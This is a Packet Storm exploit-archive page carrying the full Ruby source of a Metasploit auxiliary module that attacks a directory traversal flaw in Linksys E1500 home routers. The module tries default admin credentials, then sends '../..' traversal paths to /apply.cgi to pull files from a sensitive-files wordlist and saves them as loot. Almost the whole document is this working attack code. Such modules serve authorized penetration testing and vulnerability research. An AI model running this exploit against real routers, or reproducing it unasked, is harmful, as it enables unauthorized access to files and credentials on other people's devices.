exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Linksys E1500 Directory Traversal

Linksys E1500 Directory Traversal
Posted Sep 1, 2024
Authored by Jay Turla | Site metasploit.com

This Metasploit module exploits a directory traversal vulnerability which is present in different Linksys home routers, like the E1500.

tags | exploit
SHA-256 | 1b266011b49f772cc08ef8b3e5dea3809e10c85a4414090de77d328704d8e8ad

Linksys E1500 Directory Traversal

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner

def initialize
super(
'Name' => 'Linksys E1500 Directory Traversal Vulnerability',
'Description' => %q{
This module exploits a directory traversal vulnerability which is present in
different Linksys home routers, like the E1500.
},
'References' =>
[
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-004' ],
[ 'URL', 'http://homekb.cisco.com/Cisco2/ukp.aspx?pid=80&app=vw&vw=1&login=1&json=1&docid=d7d0a87be9864e20bc347a73f194411f_KB_EN_v1.xml' ],
[ 'BID', '57760' ],
[ 'OSVDB', '89911' ],
[ 'EDB', '24475' ]
],
'Author' => [ 'Michael Messner <devnull[at]s3cur1ty.de>' ],
'License' => MSF_LICENSE
)

register_options(
[
OptPath.new('SENSITIVE_FILES', [ true, "File containing sensitive files, one per line",
File.join(Msf::Config.data_directory, "wordlists", "sensitive_files.txt") ]),
OptString.new('HttpUsername',[ true, 'User to login with', 'admin']),
OptString.new('HttpPassword',[ true, 'Password to login with', 'password']),

])
end

def extract_words(wordfile)
return [] unless wordfile && File.readable?(wordfile)

begin
File.readlines(wordfile, chomp: true)
rescue ::StandardError => e
elog(e)
[]
end
end

def find_files(file,user,pass)
uri = "/apply.cgi"
traversal = '../..'
data_trav = "submit_type=wsc_method2&change_action=gozila_cgi&next_page=" << traversal << file
res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'authorization' => basic_auth(user,pass),
'vars_post' => {
"submit_type" => "wsc_method2",
"change_action" => "gozila_cgi",
"next_page" => traversal << file
}
})

# without res.body.length we get lots of false positives
if (res and res.code == 200 and res.body.length > 0)
print_good("#{rhost}:#{rport} - Request may have succeeded on file #{file}")
report_web_vuln({
:host => rhost,
:port => rport,
:vhost => datastore['VHOST'],
:path => uri,
:pname => data_trav,
:risk => 3,
:proof => data_trav,
:name => self.fullname,
:category => "web",
:method => "POST"
})

loot = store_loot("linksys.traversal.data","text/plain", rhost, res.body, file)
vprint_good("#{rhost}:#{rport} - File #{file} downloaded to: #{loot}")
elsif (res and res.code)
vprint_error("#{rhost}:#{rport} - Attempt returned HTTP error #{res.code} when trying to access #{file}")
end
end

def run_host(ip)
user = datastore['HttpUsername']
pass = datastore['HttpPassword']

vprint_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")

# test login
begin
res = send_request_cgi({
'uri' => '/',
'method' => 'GET',
'authorization' => basic_auth(user,pass)
})

return if res.nil?
return if (res.headers['Server'].nil? or res.headers['Server'] !~ /httpd/)
return if (res.code == 404)

if [200, 301, 302].include?(res.code)
vprint_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
else
vprint_error("#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
return
end

rescue ::Rex::ConnectionError
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
return
end

extract_words(datastore['SENSITIVE_FILES']).each do |file|
find_files(file, user, pass) unless file.empty?
end
end
end
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    0 Files
  • 9
    Sep 9th
    0 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close